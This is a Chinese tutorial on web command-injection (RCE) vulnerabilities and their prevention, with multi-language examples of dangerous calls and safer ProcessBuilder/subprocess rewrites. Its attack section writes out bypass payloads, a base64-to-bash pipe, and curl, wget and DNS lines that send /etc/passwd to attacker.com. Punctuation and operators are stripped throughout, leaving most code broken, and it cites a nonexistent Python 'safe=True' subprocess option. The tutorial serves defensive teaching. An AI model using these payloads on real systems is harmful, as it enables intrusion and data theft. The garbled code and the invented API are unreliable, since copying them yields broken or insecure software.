1. 这篇文章真正要解决的问题当你看到“Web命令执行”这个标题时第一反应是什么是CTF比赛里那些眼花缭乱的绕过技巧还是渗透测试报告中那个高危的“RCE”漏洞又或者你是一个开发者觉得这离自己的日常开发很远是安全人员才需要关心的事情这正是最大的误区。Web命令执行漏洞的本质是应用程序将用户输入“信任”地交给了操作系统去执行。它不是一个只存在于老旧系统或特定框架里的“古董”漏洞。从简单的PHPsystem()调用到复杂的Java反序列化、Node.js子进程滥用再到如今各种API接口、微服务调用链只要存在“数据”到“命令”的不可信转换风险就无处不在。很多开发者尤其是全栈或后端开发者在追求功能快速上线时很容易无意中埋下这样的地雷。本文要解决的不是教你如何成为黑客去利用漏洞而是从一个防御者和建设者的角度彻底讲清楚命令执行漏洞产生的根本原因是什么为什么你的Runtime.getRuntime().exec()、os.popen()、child_process.exec()可能成为系统的后门攻击者常用的测试与绕过手法有哪些了解攻击思路是构建有效防御的第一步。从代码层面有哪些具体、可落地的防护方案和最佳实践我将提供可直接复制到项目中的代码示例和安全配置。在真实的开发流程中如何通过工具和流程提前发现并修复这类问题无论你是正在学习Web安全的学生还是负责业务开发的工程师或是需要保障系统安全的架构师理解并防范命令执行漏洞都是一项不可或缺的核心能力。这不仅是安全合规的要求更是对用户数据和企业资产最基本的负责。2. 基础概念与核心原理2.1 什么是Web命令执行漏洞Web命令执行Remote Code/Command Execution, RCE漏洞是指攻击者能够通过Web应用作为跳板在托管该应用的后端服务器上执行任意操作系统命令。一个简单的比喻你的Web应用就像一个公司的前台。正常访客用户会告诉前台“我想找销售部”提交数据。前台Web应用会理解这个请求并按照固定流程业务逻辑处理。而命令执行漏洞相当于一个伪装者攻击者对前台说“嘿我是老板现在立刻把财务室的保险柜打开并把里面的文件读给我听。” 如果前台没有严格核实身份和指令的合法性就直接执行了这个“系统级指令”那么灾难就发生了。从技术角度看漏洞产生于一个关键环节用户可控的输入未经充分净化直接或间接地传递给了能够执行系统命令的函数。2.2 危险函数与常见语言示例不同编程语言提供了执行系统命令的接口以下是典型代表PHP// 直接执行命令输出到标准输出 system($_GET[cmd]); // 执行命令返回最后一行输出 exec($_POST[command]); // 执行命令并将输出作为字符串返回 shell_exec($_REQUEST[shell]); // 反引号操作符等同于 shell_exec $output {$_GET[cmd]}; // 执行命令并通过数组返回全部输出 passthru($_GET[cmd]);Java// 使用 Runtime 类 String cmd request.getParameter(cmd); Runtime.getRuntime().exec(cmd); // 使用 ProcessBuilder (更灵活但也危险) ProcessBuilder pb new ProcessBuilder(sh, -c, cmd); Process p pb.start();Pythonimport os import subprocess cmd request.args.get(cmd) # os.system 直接执行 os.system(cmd) # os.popen 执行并获取输出 output os.popen(cmd).read() # subprocess 模块功能强大但风险极高 subprocess.call(cmd, shellTrue) # 尤其危险shellTrueNode.jsconst { exec, execSync } require(child_process); const userInput req.query.cmd; // 异步执行 exec(userInput, (error, stdout, stderr) { ... }); // 同步执行 const result execSync(userInput);Bash/Shell Script在CGI或某些老旧Web服务中可能直接调用shell脚本。#!/bin/bash # 从查询参数中获取命令并执行 CMD$QUERY_STRING eval $CMD # 极度危险2.3 漏洞危害的严重性一旦攻击者成功利用命令执行漏洞其危害是灾难性的相当于直接获得了服务器的一个“命令行窗口”可以读取敏感文件/etc/passwd、/etc/shadow、应用配置文件、数据库连接字符串、源代码。写入WebShell在Web目录写入一句话木马获得持久的后门访问权限。内网渗透以当前服务器为跳板扫描和攻击内网其他机器。数据窃取与篡改直接操作数据库拖库、删库、篡改数据。加密勒索执行勒索病毒加密服务器文件。发起DDoS攻击利用服务器资源向其他目标发起攻击。3. 环境准备与前置条件为了深入理解并实践防护我们需要一个安全的实验环境。严禁在生产环境或任何公有服务器上进行漏洞测试3.1 实验环境搭建使用 Docker最安全、最便捷的方式是使用Docker在本地搭建一个隔离的靶场环境。安装Docker确保你的本地机器Windows/macOS/Linux已安装Docker Desktop或Docker Engine。拉取靶场镜像有许多优秀的开源Web漏洞靶场例如vulhub、DVWA、WebGoat。这里以vulhub中的一个简单PHP靶场为例。# 克隆 vulhub 仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub/php/rce # 启动靶场环境 docker-compose up -d访问靶场根据docker-compose输出的提示通常在浏览器访问http://localhost:8080或http://your-machine-ip:8080。代码审计准备准备你的IDE如VSCode、IntelliJ IDEA、PyCharm用于分析和编写安全的代码示例。3.2 思维准备从攻击者视角看输入点在开始编码防护之前我们必须先知道攻击者会从哪里入手。命令执行的输入点远不止一个明显的cmd参数GET/POST参数最直接的输入如?cmdid。HTTP请求头User-Agent、X-Forwarded-For、Cookie等头部信息可能被日志记录并最终通过某些管理功能拼接成命令执行。文件上传文件名、文件内容如图片EXIF信息可能被解析并用于命令拼接。数据库数据从数据库读出的数据如果最初来源于不可信的用户输入也可能成为命令的一部分。第三方API回调数据从外部服务接收的数据如果未经校验直接使用同样危险。系统环境变量某些应用会读取环境变量来构造命令。4. 攻击手法与绕过技巧剖析知己知彼了解攻击者的“武器库”才能更好地构筑防线。以下是一些经典和现代的绕过手法。4.1 命令分隔与拼接当直接执行cmd参数被阻止时攻击者会尝试拼接多个命令。Linux/Unix:cmd1; cmd2顺序执行无论cmd1是否成功。cmd1 cmd2仅当cmd1成功时才执行cmd2。cmd1 || cmd2仅当cmd1失败时才执行cmd2。cmd1 | cmd2将cmd1的输出作为cmd2的输入。反引号 或$()用于命令替换先执行内部命令将其输出作为外部命令的参数。# 假设应用执行 ping -c 1 {input} # 攻击者输入8.8.8.8 whoami # 最终命令ping -c 1 8.8.8.8 whoami # 执行ping后会执行whoamiWindows:cmd1 cmd2顺序执行。cmd1 cmd2与Linux相同。cmd1 | cmd2管道。cmd1 || cmd2与Linux相同。4.2 空格绕过如果过滤了空格攻击者会用其他字符替代Linux:,,${IFS},$IFS$9,%09(Tab的URL编码),{cmd,args}cat${IFS}/etc/passwd cat$IFS$9/etc/passwd cat/etc/passwd {cat,/etc/passwd}4.3 黑名单绕过如果应用尝试过滤cat、ls、whoami等关键词攻击者会使用其他命令more,less,head,tail,nl,od,awk,sed都可以用来读取文件。使用通配符/bin/c?t /etc/passwd,l*。使用变量拼接ac;bat;c/etc/passwd;$a$b $c使用编码Base64、Hex编码命令然后在执行时解码。# 攻击者输入echo Y2F0IC9ldGMvcGFzc3dkCg | base64 -d | bash # 解码后执行cat /etc/passwd4.4 无回显命令执行盲注有时命令执行了但结果不会直接返回给攻击者无回显。攻击者会利用其他通道获取信息DNS外带通过nslookup、dig或ping将命令结果作为域名的一部分发送到攻击者控制的DNS服务器。whoami.attacker.com # 攻击者查看DNS日志就能看到子域名是命令执行结果HTTP外带使用curl或wget将结果作为URL参数或POST数据发送到攻击者服务器。curl http://attacker.com/cat /etc/passwd | base64 wget --post-dataid http://attacker.com/receive时间延迟通过sleep命令判断命令是否执行成功布尔盲注。cat /etc/passwd sleep 5 # 如果页面响应延迟5秒说明文件存在且可读5. 核心防护方案与代码实现理解了攻击方式我们现在从代码层面构建防线。核心原则最小化命令执行需求若必须执行则进行严格的白名单控制和输入净化。5.1 第一道防线避免不必要的命令执行在设计和编码时首先问自己这个功能是否真的需要调用系统命令文件操作使用编程语言内置的文件IO库如Java的Files、Python的open、PHP的file函数而非cat、rm。网络请求使用成熟的HTTP客户端库如requests、OkHttp、HttpClient而非curl。系统信息使用语言特定的API如Java的System.getProperty、Python的platform模块。进程管理如果必须执行外部程序考虑使用更安全、功能更专一的库或API。5.2 第二道防线使用安全的API白名单参数化如果必须执行命令绝对不要使用字符串拼接然后传递给shell执行。这是万恶之源。应使用参数化调用。危险示例Pythonimport subprocess domain user_input # 用户输入google.com; rm -rf / # 拼接字符串并使用shellTrue极其危险 subprocess.call(fping -c 1 {domain}, shellTrue)安全改造示例Python - subprocessimport subprocess import shlex def safe_ping(ip_address): # 1. 白名单校验确保输入是合法的IP地址或域名格式 if not is_valid_ip_or_domain(ip_address): raise ValueError(Invalid input) # 2. 使用参数列表而非字符串拼接且绝不使用 shellTrue # shlex.split 可以安全地分割参数但前提是输入本身是安全的 # 更推荐直接使用列表 command [ping, -c, 1, ip_address] try: # 3. 执行命令 result subprocess.run( command, stdoutsubprocess.PIPE, stderrsubprocess.PIPE, textTrue, timeout5 # 设置超时防止命令挂起 ) # 4. 检查返回码和输出 if result.returncode 0: return result.stdout else: return fCommand failed: {result.stderr} except subprocess.TimeoutExpired: return Command timeout except FileNotFoundError: return Command not found except Exception as e: return fUnexpected error: {e} def is_valid_ip_or_domain(input_str): # 简单的正则校验示例实际项目应使用更严格的验证库 import re ip_pattern r^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$ domain_pattern r^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]{2,})$ return re.match(ip_pattern, input_str) or re.match(domain_pattern, input_str)安全改造示例Java - ProcessBuilderimport java.io.BufferedReader; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List; import java.util.regex.Pattern; public class SafeCommandExecutor { public static String safePing(String host) throws Exception { // 1. 白名单校验 if (!isValidHost(host)) { throw new IllegalArgumentException(Invalid hostname or IP address); } // 2. 使用参数列表而非字符串数组 ListString command new ArrayList(); command.add(ping); command.add(-c); command.add(1); command.add(host); // host 是经过校验的独立参数 ProcessBuilder pb new ProcessBuilder(command); // 3. 可以设置工作目录、环境变量等应保持最小化 // pb.directory(new File(/safe/path)); // MapString, String env pb.environment(); // env.clear(); // 清空环境变量或只添加必要的 try { Process process pb.start(); // 4. 读取输出并等待 BufferedReader reader new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder output new StringBuilder(); String line; while ((line reader.readLine()) ! null) { output.append(line).append(\n); } int exitCode process.waitFor(); if (exitCode 0) { return output.toString(); } else { return Command failed with exit code: exitCode; } } catch (Exception e) { throw new RuntimeException(Failed to execute command, e); } } private static boolean isValidHost(String host) { // 使用严格的正则表达式进行校验 String ipPattern ^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$; String domainPattern ^[a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?(\\.[a-zA-Z]{2,})$; return Pattern.matches(ipPattern, host) || Pattern.matches(domainPattern, host); } }5.3 第三道防线严格的输入验证与净化对于无法完全参数化的场景极少数或对输入进行预处理时必须进行严格的验证和净化。白名单优于黑名单定义允许的字符集合如仅字母数字和特定符号.-拒绝其他所有字符。使用安全的转义函数PHP: 对于shell命令使用escapeshellarg()和escapeshellcmd()。注意它们并非绝对安全需结合白名单。$safe_input escapeshellarg($user_input); // 将输入转化为一个单引号包裹的shell参数 system(ls -la . $safe_input); // 但更好的做法是避免拼接其他语言通常没有完美的转义函数因此参数化调用是唯一推荐的方式。5.4 第四道防线最小权限原则运行Web应用的进程如www-data、nobody、tomcat应具有尽可能低的系统权限。专用用户为Web服务创建专用的、非特权系统用户。文件系统权限严格控制该用户对文件系统的读写权限遵循最小必要原则。容器化使用Docker等容器技术可以天然地隔离文件系统、网络和进程空间将破坏范围限制在容器内。禁用危险函数在PHP中可以在php.ini中通过disable_functions指令禁用system、exec、passthru、shell_exec、popen等函数。; php.ini 配置 disable_functions system,exec,passthru,shell_exec,popen,proc_open,pcntl_exec6. 实战构建一个安全的命令执行工具类假设我们有一个运维后台需要提供一个“网络连通性测试”功能允许管理员输入IP或域名进行ping测试。我们来构建一个安全的工具类。文件路径src/main/java/com/example/security/util/NetworkDiagnostics.javapackage com.example.security.util; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List; import java.util.concurrent.TimeUnit; import java.util.regex.Pattern; /** * 安全的网络诊断工具类 * 演示如何安全地执行系统命令 */ public class NetworkDiagnostics { private static final Logger LOGGER LoggerFactory.getLogger(NetworkDiagnostics.class); private static final Pattern IP_PATTERN Pattern.compile( ^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$ ); private static final Pattern DOMAIN_PATTERN Pattern.compile( ^(?:(?!-)[A-Za-z0-9-]{1,63}(?!-)\\.)[A-Za-z]{2,6}$ ); // 定义允许执行的命令白名单 private static final ListString ALLOWED_COMMANDS List.of(ping, traceroute, nslookup); // 定义每个命令允许的参数模板 private static final String PING_TEMPLATE ping -c 4 -W 2 %s; // %s 将被替换为经过校验的主机名 /** * 安全的 Ping 测试 * param host 主机名或IP地址 * return Ping命令的输出结果 * throws SecurityException 如果输入不合法或命令执行失败 */ public static String safePing(String host) throws SecurityException { // 1. 输入验证 if (host null || host.isEmpty()) { throw new SecurityException(Host cannot be null or empty); } if (!isValidHost(host)) { LOGGER.warn(Invalid host input detected: {}, host); throw new SecurityException(Invalid hostname or IP address format); } // 2. 构造命令使用白名单和参数化 // 注意这里为了演示仍然使用了字符串格式化但host是经过严格校验的。 // 更优解是使用ProcessBuilder的ListString参数。 String command String.format(PING_TEMPLATE, host); LOGGER.info(Executing safe command: {}, command); // 3. 使用ProcessBuilder执行 return executeCommandWithTimeout(command, 10); // 超时10秒 } private static boolean isValidHost(String host) { // 移除首尾空白字符 host host.trim(); // 白名单校验只允许IP地址或域名格式 return IP_PATTERN.matcher(host).matches() || DOMAIN_PATTERN.matcher(host).matches(); } private static String executeCommandWithTimeout(String command, long timeoutSeconds) throws SecurityException { Process process null; BufferedReader reader null; BufferedReader errorReader null; try { // 关键使用数组形式传递命令和参数避免shell解释 // 在Linux/macOS上需要拆分成 [sh, -c, ping -c 4 8.8.8.8] // 但更好的做法是直接拆分成 [ping, -c, 4, -W, 2, 8.8.8.8] // 这里为了简化演示使用sh -c。生产环境应解析命令模板。 String[] finalCommand; if (System.getProperty(os.name).toLowerCase().contains(win)) { finalCommand new String[]{cmd.exe, /c, command}; } else { // 生产环境应避免使用shell。此处仅为演示应解析PING_TEMPLATE。 // 假设我们已经解析成数组[ping, -c, 4, -W, 2, host] // 这里使用一个更安全的示例 String host command.substring(command.lastIndexOf( ) 1); finalCommand new String[]{ping, -c, 4, -W, 2, host}; } ProcessBuilder pb new ProcessBuilder(finalCommand); // 设置工作目录到安全路径 pb.directory(new java.io.File(/tmp)); // 可以清空或限制环境变量 // pb.environment().clear(); process pb.start(); // 读取标准输出和错误输出 reader new BufferedReader(new InputStreamReader(process.getInputStream())); errorReader new BufferedReader(new InputStreamReader(process.getErrorStream())); StringBuilder output new StringBuilder(); StringBuilder error new StringBuilder(); // 启动线程读取输出防止缓冲区满导致进程阻塞 Thread outputThread new Thread(() - { try { String line; while ((line reader.readLine()) ! null) { output.append(line).append(System.lineSeparator()); } } catch (IOException e) { LOGGER.error(Error reading command output, e); } }); Thread errorThread new Thread(() - { try { String line; while ((line errorReader.readLine()) ! null) { error.append(line).append(System.lineSeparator()); } } catch (IOException e) { LOGGER.error(Error reading command error, e); } }); outputThread.start(); errorThread.start(); // 等待命令完成并设置超时 boolean finished process.waitFor(timeoutSeconds, TimeUnit.SECONDS); if (!finished) { process.destroyForcibly(); throw new SecurityException(Command execution timeout); } outputThread.join(1000); errorThread.join(1000); int exitCode process.exitValue(); if (exitCode ! 0) { LOGGER.error(Command failed with exit code: {}, error: {}, exitCode, error.toString()); throw new SecurityException(Command execution failed: error.toString()); } return output.toString(); } catch (IOException | InterruptedException e) { LOGGER.error(Failed to execute command, e); throw new SecurityException(Command execution error: e.getMessage()); } finally { // 清理资源 try { if (reader ! null) reader.close(); if (errorReader ! null) errorReader.close(); if (process ! null) process.destroy(); } catch (IOException e) { LOGGER.warn(Error closing resources, e); } } } // 提供一个更安全的方法直接使用参数列表 public static String safePingWithArgs(String host) throws SecurityException { if (!isValidHost(host)) { throw new SecurityException(Invalid hostname or IP address format); } ListString command new ArrayList(); command.add(ping); command.add(-c); command.add(4); command.add(-W); command.add(2); command.add(host); // host作为独立参数加入列表 try { ProcessBuilder pb new ProcessBuilder(command); Process process pb.start(); // ... 后续读取输出和超时处理与上面类似 return readProcessOutput(process, 10); } catch (Exception e) { throw new SecurityException(Ping failed, e); } } // ... readProcessOutput 方法实现略 }7. 常见问题与排查思路在实际开发和运维中即使遵循了安全实践也可能遇到问题。下表列出了常见场景和排查方向问题现象可能原因排查方式解决方案命令执行功能在本地正常上线后失败1. 生产环境缺少命令路径如/usr/bin/ping2. 运行Web服务的用户无权限执行该命令3. 容器环境内命令被精简1. 检查命令的绝对路径是否可用which ping2. 检查进程运行用户ps aux | grep java并测试该用户权限3. 检查Docker镜像中是否包含所需命令1. 使用命令的绝对路径2. 修改权限或使用sudo需谨慎配置sudoers3. 在构建镜像时安装必要工具输入校验很严格但攻击者仍能绕过1. 校验逻辑有误如仅前端校验2. 使用了不安全的黑名单3. 存在二次注入或逻辑缺陷1. 确保服务端进行了最终校验2. 审查校验正则表达式测试边界情况3. 审计代码看是否有其他地方拼接了用户输入1. 采用白名单校验并在服务端实现2. 使用业界公认的安全校验库3. 进行代码安全审计和渗透测试使用ProcessBuilder参数化调用但日志中仍出现奇怪命令1. 日志记录时错误地拼接了原始用户输入2. 存在其他未受控的命令调用点1. 检查日志记录代码确保记录的是安全参数而非原始输入2. 全局搜索Runtime.exec,ProcessBuilder,等关键字1. 在日志中记录经过校验后的参数或命令ID2. 使用静态代码分析工具如SonarQube扫描应用运行在容器中执行命令访问不到宿主机资源命令在容器内执行与宿主机隔离是正常行为确认业务需求是需要操作容器内资源还是宿主机资源如果需操作宿主机需将相应目录挂载到容器内或考虑其他架构如Agent如何安全地执行需要复杂参数或管道的命令这是高风险需求应极力避免评估是否可用SDK、API或专门的服务替代如果必须应设计严格的DSL领域特定语言或使用经过安全审计的脚本模板并对输入进行语法解析而非简单拼接8. 最佳实践与工程建议将安全融入开发和运维流程才能长治久安。安全编码规范在团队编码规范中明确禁止高风险函数如Runtime.exec(String command)推荐使用安全的替代方法。将本文的NetworkDiagnostics类作为样板代码。依赖项安全定期使用SCA软件成分分析工具如OWASP Dependency-Check, Snyk扫描项目依赖避免引入存在命令执行漏洞的第三方库如过去爆出的Fastjson、Jackson、Log4j等漏洞。静态代码分析SAST在CI/CD流水线中集成SAST工具如SonarQube, Fortify, Checkmarx自动检测代码中的命令注入风险点。动态应用安全测试DAST与渗透测试定期对线上应用进行黑盒安全测试模拟攻击者的行为发现潜在的命令执行入口。Web应用防火墙WAF部署WAF可以拦截大量已知的攻击payload为修复漏洞争取时间。但WAF是缓解措施不能替代安全的代码。最小权限与隔离容器化使用Docker/Kubernetes运行应用利用命名空间和Cgroups实现隔离。沙箱对于必须执行不可信代码的场景考虑使用语言沙箱如Java SecurityManager、操作系统沙箱如seccomp, AppArmor或独立的微服务/函数计算环境。无服务器考虑使用云函数如AWS Lambda, Azure Functions其运行环境高度隔离且临时。日志与监控详细记录命令执行操作的日志包括执行时间、执行用户、命令参数脱敏后、执行结果等。并设置告警对异常高频、参数异常的命令执行进行实时告警。应急预案制定安全应急预案。一旦发现疑似命令执行漏洞被利用应立即采取的步骤包括隔离服务器、分析日志、排查后门、修复漏洞、重置凭证、法律取证等。9. 总结与后续学习方向Web命令执行漏洞是一个“古老”但远未过时的致命安全问题。它的根源在于“信任边界”的模糊——将不可信的用户数据与强大的系统指令混为一谈。防御的核心思路非常清晰能不执行命令就不执行如果必须执行就进行最大程度的白名单控制、参数化调用和权限最小化。本文从漏洞原理、攻击手法、到具体的代码防护和工程实践提供了一套完整的防御视角。记住安全是一个持续的过程而不是一个可以勾选完成的任务。将安全思维嵌入需求评审、架构设计、编码、测试和部署的每一个环节才能构建真正健壮的系统。下一步你可以从这些方向继续深入深入研究特定语言的安全特性例如Java的SecurityManager策略文件Python的subprocess模块的safeTrue等高级用法。学习安全开发生命周期SDL了解微软等公司提出的将安全融入整个软件开发生命周期的框架。关注OWASP TOP 10命令执行常隶属于“注入”大类。了解其他类型的注入SQLi, NoSQLi, LDAP注入等及其防护。实践靶场在DVWA、PortSwigger Web Security Academy、HackTheBox等平台上持续练习将攻击手法与防御代码一一对应理解。代码审计实战尝试审计一些开源项目的历史漏洞报告CVE详情理解漏洞代码的上下文和修复方案。安全之路道阻且长行则将至。从写好下一行安全的代码开始。